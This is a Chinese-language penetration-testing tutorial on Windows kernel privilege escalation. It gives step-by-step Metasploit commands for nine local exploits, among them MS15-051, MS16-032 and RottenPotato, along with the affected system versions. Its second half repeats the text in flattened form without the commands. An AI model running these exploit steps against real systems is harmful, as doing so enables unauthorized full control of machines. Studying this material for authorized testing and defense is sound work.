Windows内核提权
字数 1944 2025-08-27 12:33:23

Windows内核提权技术详解

一、Windows提权概述

Windows内核提权是通过利用操作系统内核或系统组件中的漏洞,将当前用户权限提升至SYSTEM级别(NT AUTHORITY\SYSTEM)的技术。本文详细介绍了多种Windows内核提权方法,主要基于Metasploit框架中的模块实现。

二、自动化漏洞检测

Local Exploit Suggester模块

Metasploit内置的local_exploit_suggester模块可自动检测目标系统存在的可利用漏洞,根据架构、平台、会话类型推荐合适的exp。

使用方法

  1. 获取meterpreter会话
  2. 将当前会话放入后台(CTRL+Z)
  3. 执行以下命令:
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.107
set SESSION 1
exploit

该模块会列出目标系统所有可用的本地提权漏洞。

三、具体提权方法详解

1. MS15-051 ClientCopyImage Win32k漏洞

漏洞描述
Win32k.sys内核模式驱动程序中存在不正确的对象处理漏洞。

受影响系统

  • Windows 7 x86/x64
  • Windows Server 2008 R2 SP1 x64

利用方法

use exploit/windows/local/ms15_051_client_copy_image
set lhost 192.168.1.107
set session 1
exploit

2. MS14-058 TrackPopupMenu Win32k空指针解引用

漏洞描述
利用win32k.sys中的NULL Pointer Dereference漏洞,通过TrackPopupMenu触发。

受影响系统

  • Windows XP SP3
  • Windows Server 2003 SP2
  • Windows 7 SP1
  • Windows Server 2008 (32位)
  • Windows Server 2008 R2 SP1 (64位)

利用方法

use exploit/windows/local/ms14_058_track_popup_menu
set lhost 192.168.1.107
set session 1
exploit

3. MS10-015 KiTrap0D漏洞

漏洞描述
通过KiTrap0D生成SYSTEM权限的新会话。

限制

  • 依赖kitrap0d.x86.dll
  • 不支持64位系统
  • 当前会话不能已是SYSTEM权限

受影响系统

  • Windows Server 2003
  • Windows Server 2008
  • Windows 7
  • Windows XP (仅32位)

利用方法

use exploit/windows/local/ms10_015_kitrap0d
set lhost 192.168.1.107
set session 1
exploit

4. MS10-092 任务计划程序XML提权

漏洞描述
Windows任务计划程序中的漏洞可导致提权。

限制

  • 需要合法凭证和本地登录
  • 远程/匿名用户无法利用

受影响系统

  • Windows Vista
  • Windows 7
  • Windows Server 2008 (x86/x64)

利用方法

use exploit/windows/local/ms10_092_schelevator
set lhost 192.168.1.107
set session 1
exploit

5. MS16-016 mrxdav.sys WebDav本地提权

漏洞描述
利用mrxdav.sys中的漏洞提权。

受影响系统

  • Windows 7 SP1 x86

利用方法

use exploit/windows/local/ms16_016_webdav
set lhost 192.168.1.107
set session 1
exploit

6. EPATHOBJ::pprFlattenRec本地提权

漏洞描述
EPATHOBJ::pprFlattenRec使用未初始化数据导致内存破坏。

受影响系统

  • Windows XP SP3
  • Windows 2003 SP1
  • Windows 7 SP1

利用方法

use exploit/windows/local/ppr_flatten_rec
set lhost 192.168.1.107
set session 1
exploit

7. MS13-053 NTUserMessageCall Win32k内核池溢出

漏洞描述
Win32k中的内核池溢出导致本地提权,清除winlogon.exe进程的ACL。

注意

  • 退出meterpreter会话可能导致winlogon.exe崩溃
  • 2013年Pwn2Own大赛中用于攻破Chrome沙箱

受影响系统

  • Windows 7 SP1 x86

利用方法

use exploit/windows/local/ms13_053_schlamperei
set lhost 192.168.1.107
set session 1
exploit

8. MS16-032 Secondary Logon Handle提权

漏洞描述
利用Windows Secondary Logon服务中标准句柄清理功能的缺失。

限制

  • 需要PowerShell 2.0+
  • 仅对多CPU内核系统有效

受影响系统

  • Windows 7-10
  • Windows Server 2008/2012
  • 32位和64位系统

利用方法

use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
exploit

9. RottenPotato提权

漏洞描述
从service账户提升到SYSTEM权限的本地提权方法。

实施步骤

  1. 检查可用令牌:
load incognito
list_tokens -u
  1. 下载RottenPotato:
git clone https://github.com/foxglovesec/RottenPotato.git
cd RottenPotato
  1. 上传到目标:
upload /root/Desktop/RottenPotato/rottenpotato.exe
  1. 执行提权:
execute -Hc -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"

四、总结

本文详细介绍了多种Windows内核提权技术,涵盖了从Windows XP到Windows 10/Server 2012的多个版本。在实际渗透测试中,应根据目标系统版本选择合适的提权方法,并注意各方法的限制条件。自动化工具如local_exploit_suggester可大大提高效率,但手动验证和选择exp仍是必要步骤。

Windows内核提权技术详解 一、Windows提权概述 Windows内核提权是通过利用操作系统内核或系统组件中的漏洞,将当前用户权限提升至SYSTEM级别(NT AUTHORITY\SYSTEM)的技术。本文详细介绍了多种Windows内核提权方法,主要基于Metasploit框架中的模块实现。 二、自动化漏洞检测 Local Exploit Suggester模块 Metasploit内置的 local_exploit_suggester 模块可自动检测目标系统存在的可利用漏洞,根据架构、平台、会话类型推荐合适的exp。 使用方法 : 获取meterpreter会话 将当前会话放入后台(CTRL+Z) 执行以下命令: 该模块会列出目标系统所有可用的本地提权漏洞。 三、具体提权方法详解 1. MS15-051 ClientCopyImage Win32k漏洞 漏洞描述 : Win32k.sys内核模式驱动程序中存在不正确的对象处理漏洞。 受影响系统 : Windows 7 x86/x64 Windows Server 2008 R2 SP1 x64 利用方法 : 2. MS14-058 TrackPopupMenu Win32k空指针解引用 漏洞描述 : 利用win32k.sys中的NULL Pointer Dereference漏洞,通过TrackPopupMenu触发。 受影响系统 : Windows XP SP3 Windows Server 2003 SP2 Windows 7 SP1 Windows Server 2008 (32位) Windows Server 2008 R2 SP1 (64位) 利用方法 : 3. MS10-015 KiTrap0D漏洞 漏洞描述 : 通过KiTrap0D生成SYSTEM权限的新会话。 限制 : 依赖kitrap0d.x86.dll 不支持64位系统 当前会话不能已是SYSTEM权限 受影响系统 : Windows Server 2003 Windows Server 2008 Windows 7 Windows XP (仅32位) 利用方法 : 4. MS10-092 任务计划程序XML提权 漏洞描述 : Windows任务计划程序中的漏洞可导致提权。 限制 : 需要合法凭证和本地登录 远程/匿名用户无法利用 受影响系统 : Windows Vista Windows 7 Windows Server 2008 (x86/x64) 利用方法 : 5. MS16-016 mrxdav.sys WebDav本地提权 漏洞描述 : 利用mrxdav.sys中的漏洞提权。 受影响系统 : Windows 7 SP1 x86 利用方法 : 6. EPATHOBJ::pprFlattenRec本地提权 漏洞描述 : EPATHOBJ::pprFlattenRec使用未初始化数据导致内存破坏。 受影响系统 : Windows XP SP3 Windows 2003 SP1 Windows 7 SP1 利用方法 : 7. MS13-053 NTUserMessageCall Win32k内核池溢出 漏洞描述 : Win32k中的内核池溢出导致本地提权,清除winlogon.exe进程的ACL。 注意 : 退出meterpreter会话可能导致winlogon.exe崩溃 2013年Pwn2Own大赛中用于攻破Chrome沙箱 受影响系统 : Windows 7 SP1 x86 利用方法 : 8. MS16-032 Secondary Logon Handle提权 漏洞描述 : 利用Windows Secondary Logon服务中标准句柄清理功能的缺失。 限制 : 需要PowerShell 2.0+ 仅对多CPU内核系统有效 受影响系统 : Windows 7-10 Windows Server 2008/2012 32位和64位系统 利用方法 : 9. RottenPotato提权 漏洞描述 : 从service账户提升到SYSTEM权限的本地提权方法。 实施步骤 : 检查可用令牌: 下载RottenPotato: 上传到目标: 执行提权: 四、总结 本文详细介绍了多种Windows内核提权技术,涵盖了从Windows XP到Windows 10/Server 2012的多个版本。在实际渗透测试中,应根据目标系统版本选择合适的提权方法,并注意各方法的限制条件。自动化工具如 local_exploit_suggester 可大大提高效率,但手动验证和选择exp仍是必要步骤。